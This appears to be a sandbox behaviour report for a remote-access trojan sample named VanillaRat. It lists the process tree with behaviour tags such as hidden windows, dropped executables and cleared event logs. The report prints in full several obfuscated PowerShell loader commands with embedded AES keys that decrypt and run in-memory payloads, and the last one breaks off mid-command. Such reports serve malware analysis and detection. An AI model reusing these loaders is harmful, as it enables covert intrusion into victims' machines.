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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{022663ae-862b-4f38-a00d-dbb525a00dd4}5⤵PID:4076
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d504caaa-c79c-453c-b1bc-18ebb1c7ea53}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1452).WaitForExit();[System.Threading.Thread]::Sleep(5000); function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3220
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{ec756ae8-5314-4cca-9af8-edd1eb90eafe}5⤵PID:1784
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{384b7751-ac97-498f-b52f-ad379fcc381b}5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{70f4f242-a443-4a22-a078-f94ca82ec1ed}5⤵PID:6612
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{b3372018-fd1f-4b9c-998d-97b33aa5acbb}5⤵
- System Location Discovery: System Language Discovery
PID:6640
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{339bbc9e-4285-411e-96ac-20fb030e4855}5⤵PID:5520
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{e773df86-6fe6-4810-b7f8-c2aa615e2636}5⤵
- System Location Discovery: System Language Discovery
PID:4408
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{420c71f7-7ee7-4613-a4cc-a63ec0aacd4a}5⤵PID:4332
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 4526⤵
- Drops file in Windows directory
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:5864
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{8a085641-610b-427f-9256-018d026f60bd}5⤵
- System Location Discovery: System Language Discovery
PID:6980 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 4606⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2308
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{6b4b94ba-5618-4a54-88ca-c5c3af5cc13f}5⤵
- System Location Discovery: System Language Discovery
PID:6612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1428
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1468
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2224
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2828
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2892
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3340
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3348
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C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe"C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -command "& {Start-Process -FilePath 'Handlers\Handler.bat' -WindowStyle Hidden -Wait}3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3636
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1808
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C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe"Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; 